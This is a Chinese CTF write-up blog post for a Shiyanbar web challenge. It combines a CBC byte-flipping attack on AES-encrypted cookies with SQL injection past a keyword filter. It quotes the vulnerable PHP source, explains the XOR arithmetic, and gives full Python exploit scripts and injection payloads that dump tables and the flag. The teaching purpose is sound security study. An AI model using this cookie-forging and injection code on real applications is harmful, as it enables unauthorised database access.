實驗吧--Web1

實驗吧平臺維護到現在一直都還沒維護好,我的好多松果都涼涼了,現在到了暑假特意把以前做過的題翻來重新寫成博客,主要的目的是爲了學習做題的思路,當然還有的題當時不會做,也不懂原理,經過一年多的學習,也瞭解了一些,所以就特意寫寫加強記憶。實踐纔是真理!(唯一可惜的是沒有原題環境練習了)

1.簡單的的登錄題---(主要考察cbc字節反轉攻擊

 

當時,這一題看標題以爲是很簡單的SQL注入啥的,結果看到50的分值,通過率只有15%,可見其難度之高,所以這裏就參考別人的思路來展示:

作者:pcat

1.做題的初步收集、整理
index.php是一個普通的登錄框,輸入id來登錄,我們用burpsuite抓下包,並使用Repeater功能。
1)當postid時候,返回包Set-cookie裏包含iv和cipher,這2個英文單詞玩密碼學就很容易理解,iv就是InitializationVector(初始化向量),cipher就是密文
2)使用Repeater功能不斷的發送相同的包,返回的iv和cipher都不一樣,基本斷定每次的iv值是隨機生成,另外iv和cipher的格式都是先base64編碼後再進行urlencode編碼。這裏囉嗦幾句,不少人總看到base64解
碼後的字符是亂碼後,就問該怎麼解密之類的話,其實不要搞混了,base64不是一種加密方式,只是一種編碼方式,base64編碼後可以讓不可視字符可視化(這纔是最大的作用),而不起任何加密作用。
3)把iv值經過urldecode再base64解碼後用len()得到長度爲16,基本猜測算法是aes,而且大膽猜測是aes的cbc模式
4)從id=1入手,發現有#和-都會被waf檢測到
5)當cookies裏有iv值和cipher值,然後不提交任何參數(包括id),就會顯示Hello,猜測是根據傳入的iv和cipher來解碼後,再參與內部的sql查詢出用戶名
6)由於aes的key值不知道,我就覺得這題比較難做了,然後先按照web題的基本思路———掃描,打開御劍掃一下,幸運的發現test.php泄露了源碼

整理下源碼中的邏輯:
*1若是postid,就先進行waf檢測,檢測過了才隨機生成iv值,並且對array('id'=>$id)進行php的序列化操作,再進行aes加密,再分別對iv和cipher進行base64編碼並設置到cookies
*2如果cookies裏有iv和cipher,就對其base64解碼,然後對其aes解密,再進行php反序列化,如果不能反序列化則返回解密後的明文的base64編碼,如果可以則進行sql語句拼接,查詢若是行數>0就顯示其username列的值,否則都是Hello!
*3難點1,過濾了#-=,還有union和procedure
*4難點2,注入點在limit後面,而且後面還是",0",0本來就是讓limit取出0行,而前面的逗號更是難弄掉
*5aes的加密模式aes-128-cbc
7)mysql語法,limit後面只能procedure還有forupdate,還有嘗試了堆疊注入,也是不行。
8)本題算比較好點,mysql會顯示錯誤信息,這就可以弄報錯注入(當前是得有前提的)
2.構建能繞過過濾的payload
嘗試了很多,發現postid=1;%00(這裏關鍵是;%00)可以繞過去,然後登錄後會顯示Hello!rootzz,說明user表裏的值是rootzz,而並不是我們所期待的flag值(如果那麼簡單就好了--)
關鍵的關鍵字都被過濾,這可怎麼辦?
這時候要冷靜分析下。
1)直接postid時候是有過濾
2)在cookies解密出來是沒有過濾,就直接拼接sql語句
於是我們可以大膽猜測,修改cookies的值來達到解密後的明文可以構造sql注入。
這並不是無的放矢,在密碼學裏是可以做到的
3.aes的cbcbyteflippingattack(cbc字節翻轉攻擊)
先放出參考文章,自己可以多去閱讀
推薦英文文章:
http://resources.infosecinstitute.com/cbc-byte-flipping-attack-101-approach/
以下是中文譯文(其中圖片掛了,結合英文版就沒問題):
http://wps2015.org/drops/drops/CBC%E5%AD%97%E8%8A%82%E7%BF%BB%E8%BD%AC%E6%94%BB%E5%87%BB-101Approach.html
==============
cbc字節翻轉攻擊,我就不敘述原理,我直接演示一個簡單的操作:
把id=12的密文修改後解析爲id=1#
這裏因爲序列化是php的,我先寫了一個php文件,便於顯示

<?php
$id=@$_POST['id'];
$info = array('id'=>$id);
$plain = serialize($info);
$row=ceil(strlen($plain)/16);
for($i=0;$i<$row;$i++){
    echo substr($plain,$i*16,16).'<br/>';
}
?>

當postid=12時候,顯示
a:1:{s:2:"id";s:
2:"12";}
每一行16個字節,這裏12的2對應上一行{的偏離量是4


作者:Aluvion

此時的偏移量(offset)爲4,也就是說,如果我們要將 第2塊第5個字符2 翻轉爲我們所需要的字符#,由於CBC模式的解密方式是:

該塊的明文 = decrypt(該塊的密文) ^(異或) 前一塊密文

如果是第一塊:第一塊的明文 = decrypt(第一塊的密文) ^ iv

CBC解密分爲兩段:decrypt和^

所以,我們需要對 第1塊第5個字符 做一些修改

由於:

第2塊密文第5個字符的明文(C) = 第1塊密文第5個字符(A) ^ decrypt(第2塊密文第5個字符的密文)(B)

而^有運算爲:C = A ^ B,A = C ^ B,0 ^ A = A,而我們已知CBC解密後C(這裏爲2)和密文中A的值cipher_row[offset(偏移量)]

故:

B = A ^ C

而後臺CBC解密所得則爲:A ^ B

所以我們控制修改A2 = A ^ C ^ D(我們想要的,這裏爲#)

即腳本里的cipher_row[offset] =chr(ord(cipher_row[offset]) ^ord("2") ^ord("#"))

這樣運算下來,則後臺CBC解密得到:A2 ^ B = A ^ C ^ D ^ A ^C ,即D,CBC翻轉成功

但是還沒有結束,因爲我們在翻轉第二塊的時候,修改了第一塊的密文,所以如果用同一個iv去解密第一塊密文,是無法反序列化的,因此我們需要對iv進行一些修改。

(如果我們爲了翻轉第三塊,而修改了第二塊,那我們又需要爲了讓第二塊解密後反序列化成功修改第一塊,最後又要修改iv,處理量一下子就多了起來)

修改iv的時候,我們已知:原iv,用原iv解密後的錯誤明文,第一塊密文,以及正確明文(即a:1:{s:2:\"id\";s:)

而:

錯誤明文 = 原iv ^ 第一塊密文 => 第一塊密文 = 錯誤明文 ^ 原iv

正確明文 = 新iv ^ 第一塊密文 => 新iv = 正確明文 ^ 第一塊密文

故:

新iv = 原iv ^ 錯誤明文 ^ 正確明文

即腳本里的iv_new = iv_new +chr(ord(iv_row[x]) ^ord(wrong[x]) ^ord(plaintext[x])),循環16次


有這個準備後,
在原題裏postid=12,得到下面(這只是示例)
iv=ZoP2z9EI7VWaWz%2F1GfYB6Q%3D%3D
cipher=U9qq54FOYcS2MFFB7UJFjVcSWpi0zsc%2BnVAnMkjkcRY%3D

運行以下腳本

# -*- coding:utf8 -*-
__author__='[email protected]'
from base64 import *
import urllib
cipher='U9qq54FOYcS2MFFB7UJFjVcSWpi0zsc%2BnVAnMkjkcRY%3D'
cipher_raw=b64decode(urllib.unquote(cipher))
lst=list(cipher_raw)
idx=4
c1='2'
c2='#'
lst[idx]=chr(ord(lst[idx])^ord(c1)^ord(c2))
cipher_new=''.join(lst)
cipher_new=urllib.quote(b64encode(cipher_new))
print cipher_new

得到cipher_new
U9qq55BOYcS2MFFB7UJFjVcSWpi0zsc%2BnVAnMkjkcRY%3D
再用之前的iv一起去訪問,得到
base64_decode('g8COFrN/0Z3FDCOZ6MfV5zI6IjEjIjt9')can'tunserialize
這是因爲iv值沒修改,導致無法反序列化

運行以下腳本

# -*- coding:utf8 -*-
__author__='[email protected]'
from base64 import *
import urllib
iv='ZoP2z9EI7VWaWz%2F1GfYB6Q%3D%3D'
iv_raw=b64decode(urllib.unquote(iv))
first='a:1:{s:2:"id";s:'
plain=b64decode('g8COFrN/0Z3FDCOZ6MfV5zI6IjEjIjt9')
iv_new=''
for i in range(16):
iv_new+=chr(ord(plain[i])^ord(first[i])^ord(iv_raw[i]))
iv_new=urllib.quote(b64encode(iv_new))
print iv_new

得到iv_new
hHlJ4xkEBvpldXUI0wqnNA%3D%3D
再跟之前的cipher_new,一起去訪問,得到
Hello!rootzz
也就是id=12順利變成了id=1#注入成功。
離成功就差一步了,
1)把上面的過程編寫成腳本
2)儘可能只翻轉一個字節,例如把2nion翻轉爲union,末尾再用;%00來註釋掉後面
3)由於逗號被過濾,用join來代替;等號被過濾,用regexp來代替
以下是我的腳本:

# -*-coding:utf-8-*- 
# 請保留我的個人信息,謝謝~!
__author__='[email protected]' 

from base64 import *
import urllib
import requests
import re

def mydecode(value):
    return b64decode(urllib.unquote(value))

def myencode(value):
    return urllib.quote(b64encode(value))

def mycbc(value,idx,c1,c2):
    lst=list(value)
    lst[idx]=chr(ord(lst[idx])^ord(c1)^ord(c2))
    return ''.join(lst)

def pcat(payload,idx,c1,c2):
    url=r'http://ctf5.shiyanbar.com/web/jiandan/index.php'
    myd={'id':payload}
    res=requests.post(url,data=myd)
    cookies=res.headers['Set-Cookie']

    iv=re.findall(r'iv=(.*?),',cookies)[0]
    cipher=re.findall(r'cipher=(.*)',cookies)[0]

    iv_raw=mydecode(iv)
    cipher_raw=mydecode(cipher)

    cipher_new=myencode(mycbc(cipher_raw,idx,c1,c2))
    cookies_new={'iv':iv,'cipher':cipher_new}
    cont=requests.get(url,cookies=cookies_new).content
    plain=b64decode(re.findall(r"base64_decode\('(.*?)'\)",cont)[0])

    first='a:1:{s:2:"id";s:'
    iv_new=''
    for i in range(16):
        iv_new+=chr(ord(first[i])^ord(plain[i])^ord(iv_raw[i]))
    iv_new=myencode(iv_new)

    cookies_new={'iv':iv_new,'cipher':cipher_new}
    cont=requests.get(url,cookies=cookies_new).content
    print 'Payload:%s\n>> ' %(payload)
    print cont
    pass


def foo():
    pcat('12',4,'2','#')
    pcat('0 2nion select * from((select 1)a join (select 2)b join (select 3)c);'+chr(0),6,'2','u')
    pcat('0 2nion select * from((select 1)a join (select group_concat(table_name) from information_schema.tables where table_schema regexp database())b join (select 3)c);'+chr(0),7,'2','u')
    pcat("0 2nion select * from((select 1)a join (select group_concat(column_name) from information_schema.columns where table_name regexp 'you_want')b join (select 3)c);"+chr(0),7,'2','u')
    pcat("0 2nion select * from((select 1)a join (select value from you_want limit 1)b join (select 3)c);"+chr(0),6,'2','u')
    pass

if __name__ == '__main__':
    foo()
    print 'ok'


當時我運行了一下腳本:

上面的步驟已經介紹的很詳細了,接下來我們可以再看另一位博主寫的,我們不僅要學習解題的方法,更要學習他人的思路。

作者:藍天深處

1、審題目:《簡單的登錄》,沒有暴露任何信息(有些題目可能透露一些加密算法名字之類)

接下來想到的就是sql注入了,輸入1'後頁面顯示Hello,重新載入的話頁面返回報錯信息

確實存在注入,看那後面的逗號,猜測注入點在limit後面。然後試了很多,發現題目把union,#,procedure等都過濾了,暫時沒想到任何繞過的方法。

2、看下源代碼,無異常;御劍掃後臺,讓它掃着的同時繼續嘗試其他方法;用Burp截獲報文,修改id爲admin之類敏感字眼,提交表單,看服務器返回的信息,還是無異常;當還在嘗試id變換不同敏感字眼時,發現服務器返回了一個tips: test.php;看來御劍也不用忙活了,直接進這個網頁看看。

3、得到一大串代碼,接下來就是代碼審計了。

<?php
define("SECRET_KEY", '***********');
define("METHOD", "aes-128-cbc");
error_reporting(0);
include('conn.php');
function sqliCheck($str){
    if(preg_match("/\\\|,|-|#|=|~|union|like|procedure/i",$str)){
        return 1;
    }
    return 0;
}
function get_random_iv(){
    $random_iv='';
    for($i=0;$i<16;$i++){
        $random_iv.=chr(rand(1,255));
    }
    return $random_iv;
}
function login($info){
    $iv = get_random_iv();
    $plain = serialize($info);
    $cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);
    setcookie("iv", base64_encode($iv));
    setcookie("cipher", base64_encode($cipher));
}
function show_homepage(){
    global $link;
    if(isset($_COOKIE['cipher']) && isset($_COOKIE['iv'])){
        $cipher = base64_decode($_COOKIE['cipher']);
        $iv = base64_decode($_COOKIE["iv"]);
        if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)){
            $info = unserialize($plain) or die("<p>base64_decode('".base64_encode($plain)."') can't unserialize</p>");
            $sql="select * from users limit ".$info['id'].",0";
            $result=mysqli_query($link,$sql);

            if(mysqli_num_rows($result)>0  or die(mysqli_error($link))){
                $rows=mysqli_fetch_array($result);
                echo '<h1><center>Hello!'.$rows['username'].'</center></h1>';
            }
            else{
                echo '<h1><center>Hello!</center></h1>';
            }
        }else{
            die("ERROR!");
        }
    }
}
if(isset($_POST['id'])){
    $id = (string)$_POST['id'];
    if(sqliCheck($id))
        die("<h1 style='color:red'><center>sql inject detected!</center></h1>");
    $info = array('id'=>$id);
    login($info);
    echo '<h1><center>Hello!</center></h1>';
}else{
    if(isset($_COOKIE["iv"])&&isset($_COOKIE['cipher'])){
        show_homepage();
    }else{
        echo '<body class="login-body" style="margin:0 auto">
                <div id="wrapper" style="margin:0 auto;width:800px;">
                    <form name="login-form" class="login-form" action="" method="post">
                        <div class="header">
                        <h1>Login Form</h1>
                        <span>input id to login</span>
                        </div>
                        <div class="content">
                        <input name="id" type="text" class="input id" value="id" onfocus="this.value=\'\'" />
                        </div>
                        <div class="footer">
                        <p><input type="submit" name="submit" value="Login" class="button" /></p>
                        </div>
                    </form>
                </div>
            </body>';
    }
}

這裏說明幾個函數:(來自:中北隨便)
1.chr()函數,將數字轉化爲ASCII碼的字符
2.serialize()函數,產生-個可存儲的值的表示。
3.openssI_ encrypt()函數,用於加密數據
OpenssI_ encrypt($data,$method,$key,
[$options=0,$iv=" ”,&$tag=NUL,add=" ”,$tag_length=16])
1. data:要加密的明文消 息數據
2. method:密碼方法
3. key:鑰匙
4. options:options是一 個按位分離的旗幟OPENSSL_ RAW_ DATA和OPENSSL_ ZERO_ PADDING
5. iv:非NUL初始化變 量(非空的初始化向量,不使用此項會拋出一個警告)
6. tag:使用AEAD密碼模式 (GCM或CCM)時,通過弓用傳遞的身份驗證標記
7. add:其他認證數據
8. tag_ length:身 份驗證的長度tag。對於GCM模式,其值可以在4到16之間
返回值:成功或者失敗時返回加密的字符串。
補充: options有三種:
0:自動對明文進行padding,返回的數據經過base64編碼
1: OPENSSL_ RAW_ DATA:自動對明文進行padding,但返回的結果未經過base64編碼
2: OPENSSL_ ZERO_ PADDING:自動對明文進行0填充,返回的結果經過base64編碼,但
是,openssI不推薦0填充的方式,即使選擇此項也不會自動進行padding, 仍需手動padding


Padding簡介: .
隨機長度的填充
1. hash函數: 通常包括幾種填充模式,通常用來防止hash函數被長度擴展攻擊,許多填充
模式通過添加可預測的函數到最後一個塊中完成填充。
2.分組密碼的操作模式: CBC模式是分組密碼操作模式的樣例。在對稱加算法的分組加密模
式中,要求明文必須是加密塊的整數倍,這就要求必須對明文進行填充。
1.位填充: 可應用於任意長度的明文。
方法:將1添加至明文後面,後面的位全部置0
2.字節填充: 應用於明文可以編碼成整字節的
ANSI X.923:字節填充方式以00字節填充並在最一個字節處後定義填充的字節數
ISO 10126:規定填充的字節應當是隨機數並在最後-個字節處定義填充的字節數。
PKCS7:規定添加的字節是填充的字節數。
4.unserialize()函數,從已存儲的表示中創建PHP的值
Serialize0和unserialize()函數:
用serialize0函數將-個實例轉化位一個序列化的字符串。
用unserialize()函數還原已經序列化的對象。
列化:將對象的狀態信息轉換爲可以存儲或傳輸的形式的過程。在序列化期間,對象將其當
前狀態寫入到臨時或者持久性存儲區。可以通過從存儲區中讀取或反序列化對象的狀態,重新
創建該對象。
序列化的意義: 1.將數組從內存中存儲到硬盤中,減輕內存的使用量。
2.在網絡上傳送字節序列。
5.die()函數輸出一條消息,並退出當前腳本,是exit)函數的別名 。
差不多就是這麼多函數了,然後我們分析完- -遍之後, 提取出兩處最重要的代碼: .
preg_ match("A\.I-|#l=|~lunionlikelprocedure/i*"$str)
$sq|="select * from users limit ".$info[id'].",0";
我們需要繞過正則過濾並且讓$info[ "id" 後面的內容失效即可。

不着急,先介紹一下AES-128-CBC的加密算法
1. AES-128-CBC是- 種分組對稱加密算法,即用同-種key進行明文和密文的轉換,以
128bit爲一組,128bit==16Byte, 意思就是明文的16字節爲一組對應加密後的1 6字節的密
文。
2. Padding方式: 採用PKCS7進行填充。比如最後缺3給字節,則填充3個字節的0x03;若最
後缺10個字節,則填充10個字節的0x0a;若明文正好是16個字節的整數倍,最後要再加入一
個16字節0x10的組再進行加密。
3.加密方式: 先隨機產生隨機初始化變量IV和密匙,IV最 後會和密文拼接在一起從而保證了
同樣的明文在加密後也不會擁有相同的密文。
4.具體方法:
加密:
1. 首先將明文分組(常見的以16字節爲-組),位數不足的使用特殊字符填充。
2.生成一個隨機的初始化向量(IV) 和一個密鑰。
3.將IV和第一 組明文異或
4.用密鑰對3中xor後產生的密文加密。
5.用4中產生的密文對第 二組密文進行xor操作。
6.用密鑰對5中產生的密文進行xor加密。
7.重複4-7,到最後- -組明文。
8.將IV和加密後的密文拼接在一 起,得到最終的密文。
解密:
1. 先從密文中取出IV,然後對剩下的密文分組(16字節爲-組)。
2.使用密鑰解密第一 組密文,將解密結果與IV做異或運算,得到明文1。
3.然後使用密鑰解第二組密文,將解密的結果與上一組密文進行異或運算,得到明文2。
4.復2-3,直到所有密文解密完成。

 

4、代碼實現的流程

a、提交上來的id,先進行關鍵字的過濾,防止SQL注入,包括=、-、#、union、like、procedure等等,如果檢測到這些敏感字符,則會直接die並返回顯示Sql inject detected。

b、通過過濾的id,服務器會返回兩個值:iv與cipher

iv:隨機生成的16位值,再經過base64轉碼

cipher:id序列化、預設的SECRET_KEY(打碼)、上面得到的iv值,三者經過aes-128-cbc加密得到cipher值

服務器把iv、cipher設置到cookie然後返回,順便還顯示了一個Hello!

c、如果Post給服務器的報文,沒有包括id,而且cookie裏有iv和cipher值,則進入函數show_homepage();

d、 show_homepage()大致過程:將iv、cipher經過base64解碼,然後把預設的SECRET_KEY(打碼)、iv、cipher經過aes-128-cbc解密,得到plain

e、如果plain無法反序列化,則die並返回plain的base64編碼數據;如果可以序列化,則將id值拼接到sql語句中“select * from users limit .$info['id']  ,0”,並提交到數據庫,返回數據,並附在返回的Hello後。(備註:die() 函數輸出一條消息,並退出當前腳本。

 

5、從代碼分析可以看出關鍵就在於這個sql語句 “select * from users limit .$info['id'] ,0”

正常的話,無論id輸入什麼值,都會無功而返,因此只能構造進行sql注入,具體要實現兩點:

a、註釋掉後面“,0”

b、id=1,從而構造爲“select * from users limit  1”

註釋做了很多嘗試,由於過濾了#、--,所以嘗試用%00,用Burp Repeater嘗試,將id=1 %00,post提交,然後用返回的iv、cipher值,作爲第二次的cookie,然後去掉“id=”再次post,結果能返回Hello!rootzz

(現在寫出來比較簡單,但是當時在不少細節上進了坑,得細心點看源代碼啊)

(另外,從源代碼來看,第二次無id Post時,並沒有直接傳入id,但既然能得到rootzz,從這可以猜測:此時的id由cipher值解密得到,爲後續進一步工作奠定了基礎)

6、居然不是flag,如果是flag多好啊,就這樣美好的結束了,但也許幸福就是來之不易的吧

而且如果就這樣能解決戰鬥的啊,還有一串代碼的功能就毫無永無之地了,依據多年的考試經驗,題目肯定不會這樣出的,因此仔細分析源代碼的邏輯,發現有個漏洞,雖然第一次提交id時,做了過濾,但是第二次提交iv和cipher值,是不會做過濾的,在這裏跟pcat大神學習了,用cbc翻轉一個字節進行攻擊。具體如下:

a、提交能經過過濾檢測的SQL語句,如id=12

b、結合得到的iv、cipher,用cbc字節翻轉cipher對應id=12中2的字節,得到cipher_new,提交iv、cipher_new

c、第二次提交得到plain(如果忘了是啥可以往回看)

d、把iv、plain、‘id=12’序列第一行(16個字節爲一行),進行異或操作,得到iv_new

e、把iv_new、cipher_new,去掉id=xx  post到服務器即可得到  id=1# 的結果,即Hello!rootzz

7、上一步成功達到偷梁換日的做法,下一步就是把id=12換成我們熟悉的SQL注入語句,在這裏要注意的是:註釋還是用%00,=用regexp代替,逗號用join代替,union用2nion代替,然後用cbc字節轉換,把2換成u。值得注意的是cbc字節轉換時的偏移量,最好自己寫個php代碼算一下前一行相應的位置。

代碼直接使用上面一位博主的代碼即可。

這裏還需要注意的是:1;%00截斷的問題,測試的時候發現1%00會引起php報錯,但是1;%00就不會,因爲;%00本來就是一個註釋符

擴展:

CBC解密以及字節翻轉攻擊

 

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章